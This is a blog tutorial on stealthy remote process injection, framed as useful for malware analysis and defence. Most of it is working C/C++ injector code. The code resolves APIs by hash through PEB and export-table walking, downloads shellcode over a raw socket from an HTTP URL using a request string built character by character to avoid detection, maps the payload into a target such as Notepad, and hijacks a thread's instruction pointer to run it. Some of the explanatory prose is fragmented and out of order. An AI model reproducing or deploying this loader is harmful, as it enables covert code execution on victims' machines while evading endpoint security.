Remote Process Injection via Thread Hijacking with Dynamic API Resolution and Hashing-Based Stealth Execution
We’ll examine remote process injection and the techniques attackers use to hide it things like thread hijacking, API hashing with dynamic resolution, walking the PEB to locate modules, and abusing undocumented APIs. These methods show up in many RATs (for example, njRAT), so understanding them is useful for anyone doing malware analysis or hardening defenses. I didn’t cover some advanced evasion tactics here for example, unhooking and syscall-based tricks but we’ll note where they fit in the bigger picture.
when you first read "remote injection" it sound hard to do, but it's so easy to implement, but the hard part how to evade detection because it's widely recognized technique by EDR. to achieve this attack we need to do the following steps:
OpenProcess
function is used for this purpose. It takes the process identifier (PID) of the target process and the desired access rights as arguments. For this injection technique, the handle must be opened with at least the PROCESS_VM_OPERATION
( Grants permission to perform operations on the virtual memory of the target process.Use functions like VirtualAllocEx
or VirtualFreeEx
to allocate or free memory inside another process.), PROCESS_VM_WRITE
, and PROCESS_CREATE_THREAD
access rights.VirtualAllocEx
function is used for this remote allocation. It requires the handle to the target process.WriteProcessMemory
function copies a block of memory from the current process (the injector) to the allocated memory space in the target process. It takes the handle to the target process, the base address of the allocated memory, a pointer to the payload in the injector's memory, and the size of the payload as arguments.So, you’ve written some code (our "payload") and injected it into another program, like Notepad.exe. Now, how do you make it run? One option is to use a Windows function called CreateRemoteThread
, but that’s like blasting it’s loud, obvious, and likely to get noticed by antivirus or security tools because it triggers alerts like notifythread. Instead, in this project, we’re using a sneakier method called thread hijacking. (we’ll touch on another cool technique called APC injection in a future blog!) Let’s break down thread hijacking in a simple way, steering clear of complex assembly code.
Think of a thread as a worker inside a program, busy doing tasks. Every thread has two key things:
When we hijack a thread, we’re basically sneaking in, borrowing that worker for a bit, and making it run our code instead of its usual job. Here’s how we do it, step by step:
SuspendThread
) to put the thread on hold, like telling the worker to take a quick nap.ResumeThread
), and it starts running our payload instead of its original job.Unlike CreateRemoteThread
, which creates a brand-new thread and screams “Hey, I’m doing something suspicious!” to security tools, thread hijacking reuses an existing thread. It’s quieter because the thread was already there, doing its thing, so it’s less likely to raise red flags.
API hashing and import obfuscation are advanced techniques commonly used by malware authors to conceal the operating system (OS) functions that their malicious code relies on. To understand this, let's start with some basics for those new to the topic.
In a typical Windows executable (like a .exe file), when a program needs to use functions from system libraries (such as those in DLL files like Kernel32.dll), it declares these dependencies upfront in a structure called the Import Address Table (IAT). The IAT is essentially a list inside the executable that says, "I need these specific functions from these DLLs." When the program runs, the Windows loader automatically resolves (finds and loads) these functions by their names and fills in their memory addresses in the IAT. This makes it easy for security tools, like antivirus software or Endpoint Detection and Response (EDR) systems, to scan the executable and spot suspicious API calls such as those used for file manipulation, network access, or process injection that might indicate malware.
Malware authors want to evade this detection. Instead of statically listing function names in the IAT (which would be a dead giveaway), they use import obfuscation to resolve these functions dynamically at runtime. This means the code figures out the function addresses on the fly while the program is running, without any explicit imports in the IAT. To make it even harder to detect, they often employ API hashing: instead of using the actual function names (which are human-readable strings like "CreateFileA"), they compute a hash (a numerical fingerprint) of the name and use that hash to look up the function. This hides the intent from static analysis tools that scan for string patterns.
From a defender's perspective, this technique alters two key indicators of compromise:
Let's break down how this works step by step, using an example where the malware wants to call the ResumeThread function (which is exported by Kernel32.dll and could be used to manipulate other processes). We'll explain why standard Windows APIs are avoided and how custom implementations are created instead.
To call a function in a DLL, you need its base memory address in the process. Windows provides GetModuleHandle
for this e.g., GetModuleHandle("Kernel32.dll")
returns Kernel32.dll's address. But using it directly exposes the function in the Import Address Table (IAT), alerting Endpoint Detection and Response (EDR) tools to dynamic loading.
Malware avoids this by manually traversing the Process Environment Block (PEB), a Windows structure tracking loaded modules:
InMemoryOrderModuleList
, a list of loaded DLLs.This custom approach avoids GetModuleHandle
to stay stealthy. we will see it in the code late.
With the DLL's base address, the next step is locating the target function's address (e.g., ResumeThread
). Windows offers GetProcAddress
for this, but like GetModuleHandle
, it’s detectable in the IAT or at runtime.
Instead, malware parses the DLL’s Export Address Table (EAT) in the Portable Executable (PE) header:
In the code, I switched from traditional remote process injection using WriteProcessMemory
and VirtualAllocEx
to a manual mapping technique for better evasion. Why? These standard APIs are heavily monitored by EDR tools, making them easy to detect. Instead, we use lower-level Native APIs (NTAPI) from ntdll.dll
like NtCreateSection
, NtMapViewOfSection
, and NtUnmapViewOfSection
to create and map shared memory sections. These act as stealthy containers for shellcode, mimicking how Windows legitimately handles memory (e.g., for DLL loading or inter-process data sharing).
Why is this better? Manual mapping avoids flagged APIs, blends with normal OS behavior, and reduces the detectable footprint by bypassing the Import Address Table and runtime logs. It’s common in advanced malware and APTs to bypass security. The process: Create a kernel-managed "section object," map it into the target process’s address space, copy the shellcode, and execute it.
here are the functions hash, for more info about how i got this hash in what function see this.
1DWORD hkernel = 7956615;
2DWORD hNtdllDLL = 14124863;
3DWORD hWs2_32=9086291;
4DWORD hCreateToolhelp32Snapshot = 10088781;
5DWORD hProcess32FirstW = 13869664;
6DWORD hProcess32NextW = 965099;
7DWORD hCloseHandle = 12442059;
8DWORD hThread32First = 1384466;
9....
now we need to create custom way to get the model base address. so how it work?
__readgsqword
(64-bit) or __readfsdword
(32-bit) to locate the list of loaded modules.InMemoryOrderModuleList
in the PEB’s loader data.1HMODULE ManualGetModuleHandle(DWORD modulehash)
2{
3// The PEB (Process Environment Block) is a data structure that holds information about a process.
4// Its location in memory is fixed relative to a segment register.
5#ifdef _WIN64
6 // On 64-bit Windows, a pointer to the PEB is stored at offset 0x60 from the GS segment register.
7 // `__readgsqword` is a compiler intrinsic that reads a 64-bit value directly from this location.
8 PPEB peb = (PPEB)__readgsqword(0x60);
9#else
10 // On 32-bit Windows, the pointer is at offset 0x30 from the FS segment register.
11 PPEB peb = (PPEB)__readfsdword(0x30);
12#endif
13 if (!peb || !peb->Ldr)
14 return NULL;
15 LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList;
16 LIST_ENTRY *current = head->Flink;
17 while (current != head)
18 {
19 PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(current, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
20 if (entry->FullDllName.Buffer)
21 {
22 char name[MAX_PATH] = {0};
23 WideCharToMultiByte(
24 CP_ACP, // Code Page: Use the system's default ANSI code page.
25 0, // Flags: 0 for default behavior.
26 entry->FullDllName.Buffer, // Input: The wide-character string to convert.
27 entry->FullDllName.Length / sizeof(WCHAR), // Input: The length of the string in characters.
28 name, // Output: The buffer to store the converted ANSI string.
29 sizeof(name) - 1, // Output: The size of the output buffer.
30 NULL, // Default Char: Use system default if a character can't be converted.
31 NULL // Used Default Char: We don't need to know if a default was used.
32 );
33 char *baseName = strrchr(name, '\\');
34 if (baseName)
35 baseName++;
36 else
37 baseName = name;
38 _strlwr_s(baseName, strlen(baseName) + 1);
39 if (CalculateHash(baseName) == modulehash)
40 {
41 return (HMODULE)entry->DllBase;
42 }
43 }
44 current = current->Flink;
45 }
46 return NULL;
47}
now that we have the base address we want a way get the function address the function is simple it does the following:
1
2FARPROC ManualGetProcAddress(HMODULE hModule, DWORD functionhash)
3{
4 IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)hModule;
5
6 if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
7 {
8 return NULL;
9 }
10
11 IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)((BYTE *)hModule + dosHeader->e_lfanew);
12 if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
13 {
14 return NULL;
15 }
16
17 IMAGE_DATA_DIRECTORY *exportDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
18 if (exportDir->VirtualAddress == 0 || exportDir->Size == 0)
19 {
20 return NULL;
21 }
22
23 IMAGE_EXPORT_DIRECTORY *exports = (IMAGE_EXPORT_DIRECTORY *)((BYTE *)hModule + exportDir->VirtualAddress);
24 DWORD *functions = (DWORD *)((BYTE *)hModule + exports->AddressOfFunctions);
25 DWORD *names = (DWORD *)((BYTE *)hModule + exports->AddressOfNames);
26 WORD *ordinals = (WORD *)((BYTE *)hModule + exports->AddressOfNameOrdinals);
27
28 for (DWORD i = 0; i < exports->NumberOfNames; i++)
29 {
30 char *name = (char *)((BYTE *)hModule + names[i]);
31 if (CalculateHash(name) == functionhash)
32 {
33 return (FARPROC)((BYTE *)hModule + functions[ordinals[i]]);
34 }
35 }
36 return NULL;
37}
now to resolve any function dynamically we can do this.
1HMODULE ntdll = ManualGetModuleHandle(hNtdllDLL);
2 pNtCreateSection NtCreateSection = (pNtCreateSection)ManualGetProcAddress(ntdll, hNtCreateSection);
instead of add the shellcode in the payload, the payload will try to fetch the payload for a http server, using raw socket for evading detection here is the function.
ManualGetModuleHandle
(by hash) or LoadLibraryA
to avoid detection. note here we can do our own version if LoadLibraryA
but i will leave this to you.http://example.com/payload → host: example.com, path: /payload, port: 80
).GET /payload HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n
).1
2bool downloadPayload(char* outBuffer,long& len,char* url) {
3
4
5 HMODULE ws2_32 = ManualGetModuleHandle(hWs2_32);
6 if (!ws2_32) {
7 ws2_32 = LoadLibraryA("Ws2_32.dll");
8 if(!ws2_32){
9 return false;
10 }
11 }
12 auto [succes, port, host, path] = extractUrlComponents(string(url));
13
14 if (!succes) {
15 return false;
16 }
17
18 pWSAStartup fnWSAStartup = (pWSAStartup)ManualGetProcAddress(ws2_32, hWSAStartup);
19 pSocket fnSocket = (pSocket)ManualGetProcAddress(ws2_32, hSocket);
20 pInetPton fnInetPton = (pInetPton)ManualGetProcAddress(ws2_32, hInetPton);
21 pConnect fnConnect = (pConnect)ManualGetProcAddress(ws2_32, hConnect);
22 pSend fnSend = (pSend)ManualGetProcAddress(ws2_32, hSend);
23 pRecv fnRecv = (pRecv)ManualGetProcAddress(ws2_32, hRecv);
24 pClosesocket fnClosesocket = (pClosesocket)ManualGetProcAddress(ws2_32, hClosesocket);
25 pWSACleanup fnWSACleanup = (pWSACleanup)ManualGetProcAddress(ws2_32, hWSACleanup);
26 pHtons fnHtons = (pHtons)ManualGetProcAddress(ws2_32, hHtons);
27
28 if (!fnWSAStartup || !fnSocket || !fnInetPton || !fnConnect || !fnSend ||
29 !fnRecv || !fnClosesocket || !fnWSACleanup || !fnHtons)
30 {
31
32 if (ws2_32)
33 FreeLibrary(ws2_32);
34
35 return false;
36 }
37 WSADATA wsa;
38 if (fnWSAStartup(MAKEWORD(2,2), &wsa) != 0) {
39 return false;
40 }
41
42
43 SOCKET s = fnSocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
44 if (s == INVALID_SOCKET) {
45 fnWSACleanup();
46 return false;
47 }
48
49
50 sockaddr_in sa;
51 ZeroMemory(&sa, sizeof(sa));
52 sa.sin_family = AF_INET;
53 sa.sin_port = fnHtons(port);
54 wstring wide_server = wstring(host.begin(), host.end());
55 if (fnInetPton(AF_INET,wide_server.c_str(), &sa.sin_addr) != 1) {
56 fnClosesocket(s);
57 fnWSACleanup();
58 return false;
59 }
60
61 if (fnConnect(s, (sockaddr*)&sa, sizeof(sa)) == SOCKET_ERROR) {
62 fnClosesocket(s);
63 fnWSACleanup();
64 return false;
65 }
66
67 string request;
68 request += 'G'; request += 'E'; request += 'T'; request += ' ';
69 request += path;
70 request += ' '; request += 'H'; request += 'T'; request += 'T';
71 request += 'P'; request += '/'; request += '1'; request += '.';
72 request += '1'; request += '\r'; request += '\n'; request += 'H';
73 request += 'o'; request += 's'; request += 't'; request += ':';
74 request += ' '; request += host; request += '\r'; request += '\n';
75 request += 'C'; request += 'o'; request += 'n'; request += 'n';
76 request += 'e'; request += 'c'; request += 't'; request += 'i';
77 request += 'o'; request += 'n'; request += ':'; request += ' ';
78 request += 'c'; request += 'l'; request += 'o'; request += 's';
79 request += 'e'; request += '\r'; request += '\n'; request += '\r';
80 request += '\n';
81
82 int sent = fnSend(s, request.c_str(), (int)request.length(), 0);
83 if (sent == SOCKET_ERROR) {
84 fnClosesocket(s);
85 fnWSACleanup();
86
87 return false;
88 }
89 vector<char> tmp(1024);
90 int total = 0;
91 int bytes;
92 while ((bytes = fnRecv(s, tmp.data() + total,tmp.size() - total, 0)) > 0) {
93 total += bytes;
94 }
95 char* payloadLenStr = strstr(tmp.data(),"Content-Length:")+sizeof("Content-Length:");
96 len = strtol(payloadLenStr,nullptr,10);
97 char* ptr = strstr(tmp.data(),"\r\n\r\n") +4;
98 memcpy(outBuffer,ptr,len);
99
100 fnClosesocket(s);
101 fnWSACleanup();
102 return true;
103
104};
the main logic. The inject
function downloads a payload (e.g., shellcode) from a URL and injects it into a target process (specified by processName) using stealthy manual mapping to avoid detection. Here’s how it works.
ManualGetProcAddress
to resolve NTAPI functions (NtCreateSection
, NtMapViewOfSection
, NtUnmapViewOfSection
) and others (OpenProcess
, OpenThread
, etc.) by their hashes, avoiding detectable API calls.findProcess
(this simple function you can see it from the code no need to explain it.) to get the process ID (PID) and thread ID (TID) of the target process (e.g., Notepad.exe). Opens handles to the process and its main thread. the thread used for the hijacking.NtCreateSection
to create a shared memory section (a kernel-managed block) with read/write/execute permissions to hold the payload.NtMapViewOfSection
. Why map here first? Mapping to the current process provides a safe, controlled environment to copy the payload into the shared section. This avoids directly writing to the target process, which could trigger EDR alerts or cause instability. Alternatively, mapping directly to the target process and using a remote write function (e.g., WriteProcessMemory) is riskier, as it’s more detectable by security tools and may fail if the target process’s memory state is unpredictable.1
2int inject(char* url,char *processName){
3 pNtCreateSection NtCreateSection = (pNtCreateSection)ManualGetProcAddress(ntdll, hNtCreateSection);
4 pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)ManualGetProcAddress(ntdll, hNtMapViewOfSection);
5 pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)ManualGetProcAddress(ntdll, hNtUnmapViewOfSection);
6
7 pOpenThread fOpenThread = (pOpenThread)ManualGetProcAddress(kernel32, hOpenThread);
8 pResumeThread fResumeThread = (pResumeThread)ManualGetProcAddress(kernel32, hResumeThread);
9 pSuspendThread fSuspendThread = (pSuspendThread)ManualGetProcAddress(kernel32, hSuspendThread);
10 pCloseHandle fnCloseHandle = (pCloseHandle)ManualGetProcAddress(kernel32, hCloseHandle);
11
12 pGetThreadContext fGetThreadContext =
13 (pGetThreadContext)ManualGetProcAddress(kernel32, hGetThreadContext);
14 pSetThreadContext fSetThreadContext =
15 (pSetThreadContext)ManualGetProcAddress(kernel32, hSetThreadContext);
16
17 auto fnOpenProcess = (PFN_OpenProcess)ManualGetProcAddress(kernel32, hOpenProcess);
18
19 if (!NtCreateSection || !fnOpenProcess || !fGetThreadContext || !fSetThreadContext || !fOpenThread || !fResumeThread || !fSuspendThread || !NtMapViewOfSection || !NtUnmapViewOfSection || !fnCloseHandle)
20 {
21 return 1;
22 }
23
24 DWORD pid;
25 DWORD tid;
26
27
28
29
30
31 char buffer[8096];
32 long payloadLen;
33 string proName = string(processName);
34 if (findProcess(proName, pid, tid))
35 {
36 cout << "PID: " << pid << "\nTID: " << tid << endl;
37 }
38 else
39 {
40 return 1;
41 }
42 HANDLE hTarget = fnOpenProcess(
43 PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_READ,
44 FALSE,
45 pid);
46 if (hTarget == INVALID_HANDLE_VALUE)
47 {
48 return 1;
49 }
50 HANDLE hThread = fOpenThread(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, tid);
51 if (hThread == INVALID_HANDLE_VALUE)
52 {
53 fnCloseHandle(hTarget);
54
55 return 1;
56
57 }
58
59 bool success = downloadPayload(buffer,payloadLen,url);
60 if(!success) {
61 fnCloseHandle(hThread);
62 fnCloseHandle(hTarget);
63 return 1;
64 }
65
66 // 1
67 HANDLE hSection = nullptr;
68 LARGE_INTEGER sectionSize;
69 sectionSize.QuadPart = (LONGLONG)payloadLen;
70 NTSTATUS status = NtCreateSection(
71 &hSection, // [out] PHANDLE SectionHandle: Pointer to a HANDLE that receives the created section object.
72 SECTION_MAP_READ | // [in] ACCESS_MASK DesiredAccess: Specifies access rights for the section.
73 SECTION_MAP_WRITE | // Allows reading, writing, and executing the section.
74 SECTION_MAP_EXECUTE, // Combines SECTION_MAP_READ, SECTION_MAP_WRITE, and SECTION_MAP_EXECUTE.
75 nullptr, // [in, optional] POBJECT_ATTRIBUTES ObjectAttributes: Pointer to object attributes (e.g., name, security); nullptr for default.
76 §ionSize, // [in, optional] PLARGE_INTEGER MaximumSize: Pointer to the maximum size of the section (in bytes).
77 PAGE_EXECUTE_READWRITE, // [in] ULONG SectionPageProtection: Memory protection for the section (PAGE_EXECUTE_READWRITE allows read/write/execute).
78 SEC_COMMIT, // [in] ULONG AllocationAttributes: Allocation type (SEC_COMMIT allocates physical memory immediately).
79 nullptr // [in, optional] HANDLE FileHandle: Optional handle to a file to back the section; nullptr for anonymous section.
80 );
81 if (status != 0)
82 {
83 return 1;
84 }
85 randomSleep();
86 // 2
87 PVOID localBaseAddress = nullptr;
88 SIZE_T viewSize = payloadLen;
89 status = NtMapViewOfSection(
90 hSection, // [in] HANDLE SectionHandle: Handle to the section object (from NtCreateSection).
91 GetCurrentProcess(), // [in] HANDLE ProcessHandle: Handle to the target process (here, current process; for injection, use target process handle).
92 &localBaseAddress, // [in, out] PVOID* BaseAddress: Pointer to the base address where the section is mapped (nullptr to let system choose).
93 0, // [in] ULONG_PTR ZeroBits: Number of high-order address bits to zero (usually 0 for default allocation).
94 0, // [in] SIZE_T CommitSize: Amount of memory to commit (0 to commit the entire section).
95 nullptr, // [in, out, optional] PLARGE_INTEGER SectionOffset: Starting offset in the section (nullptr for beginning).
96 &viewSize, // [in, out] PSIZE_T ViewSize: Size of the mapped view (0 for full section; updated on return).
97 ViewUnmap, // [in] SECTION_INHERIT InheritDisposition: Specifies how the mapping is inherited (ViewUnmap for non-inheritable).
98 0, // [in] ULONG AllocationType: Additional allocation flags (0 for default; e.g., MEM_TOP_DOWN for specific placement).
99 PAGE_READWRITE // [in] ULONG Win32Protect: Initial protection for the mapped pages (e.g., PAGE_READWRITE for read/write access).
100 );
101 if (status != 0)
102 {
103 fnCloseHandle(hSection);
104 return 1;
105 }
106 // 3
107 randomSleep();
108 memcpy(localBaseAddress, buffer, payloadLen);
109 randomSleep();
110 PVOID remoteBaseAddress = nullptr;
111 status = NtMapViewOfSection(hSection, hTarget, &remoteBaseAddress, 0, 0, nullptr, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ);
112 if (status != 0)
113 {
114 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress);
115 fnCloseHandle(hSection);
116
117 return 1;
118 }
119 // 4
120 if (fSuspendThread(hThread) == (DWORD)-1) {
121 fnCloseHandle(hThread);
122 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress);
123 NtUnmapViewOfSection(hTarget, remoteBaseAddress);
124 fnCloseHandle(hSection);
125
126 return 1;
127 }
128 CONTEXT threadContext;
129 CONTEXT originalContext;
130
131 threadContext.ContextFlags = CONTEXT_FULL;
132 if (!fGetThreadContext(hThread, &threadContext))
133 {
134 fResumeThread(hThread);
135 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress);
136 NtUnmapViewOfSection(hTarget, remoteBaseAddress);
137 fnCloseHandle(hSection);
138 fnCloseHandle(hThread);
139 return 0;
140 }
141 originalContext = threadContext;
142 threadContext.Rip = (DWORD_PTR)remoteBaseAddress;
143 if (!fSetThreadContext(hThread, &threadContext))
144 {
145 fResumeThread(hThread);
146 fnCloseHandle(hThread);
147 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress);
148 NtUnmapViewOfSection(hTarget, remoteBaseAddress);
149 fnCloseHandle(hSection);
150 return 0;
151 }
152
153 if (fResumeThread(hThread) == (DWORD)-1)
154 {
155 fnCloseHandle(hThread);
156 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress);
157 NtUnmapViewOfSection(hTarget, remoteBaseAddress);
158 fnCloseHandle(hSection);
159 return 0;
160 }
161 cout << "trigger\n";
162 Sleep(9000);
163 if (fSuspendThread(hThread) == (DWORD)-1)
164 {
165 fnCloseHandle(hThread);
166 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress);
167 NtUnmapViewOfSection(hTarget, remoteBaseAddress);
168 fnCloseHandle(hSection);
169 return 0;
170 }
171
172 if (!fSetThreadContext(hThread, &originalContext))
173 {
174 fResumeThread(hThread);
175 fnCloseHandle(hThread);
176 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress);
177 NtUnmapViewOfSection(hTarget, remoteBaseAddress);
178 fnCloseHandle(hSection);
179 return 0;
180 }
181
182 if (fResumeThread(hThread) == (DWORD)-1)
183 {
184 fnCloseHandle(hThread);
185 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress);
186 NtUnmapViewOfSection(hTarget, remoteBaseAddress);
187 fnCloseHandle(hSection);
188 return 0;
189 }
190
191 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress);
192 NtUnmapViewOfSection(hTarget, remoteBaseAddress);
193 if (hSection)
194 fnCloseHandle(hSection);
195 if (hThread)
196 fnCloseHandle(hThread);
197 if (hTarget)
198 fnCloseHandle(hTarget);
199 return 1;
200}
first let's open http server and expose our shellcode.
as you can see i typed the http url and the target process which is notepad.
Notice that Notepad froze because we suspended its thread to inject the payload and changed the RIP, stopping its normal code execution. After completing the injection, we restored the original context, and as shown in the picture, Notepad is now responding again. because of this you should to pick the thread that is related to ui or background thread.
Let’s open WinDbg As you can the code mapped the shellcode to the memory address 0x00000172931F0000.
Let’s see how the code tweaks the RIP (Instruction Pointer) to run the payload and restores it in WinDbg:
Why?: This swaps the thread to the payload, then restores it to avoid crashes or detection!
Published 9 days ago
SuspendThread
we need to stop. second Gets its full context (a snapshot of CPU registers) using GetThreadContext
. Why save full context, not just RIP? RIP (instruction pointer) only tells where the thread is executing. The full context (including registers like RSP, RAX, etc.) ensures the thread’s entire state is preserved, so it can resume normally after injection. in the end Saves the original context, sets RIP to the payload’s address, and updates the thread with SetThreadContext
.ResumeThread,
letting the payload run. Waits briefly, then suspends the thread again.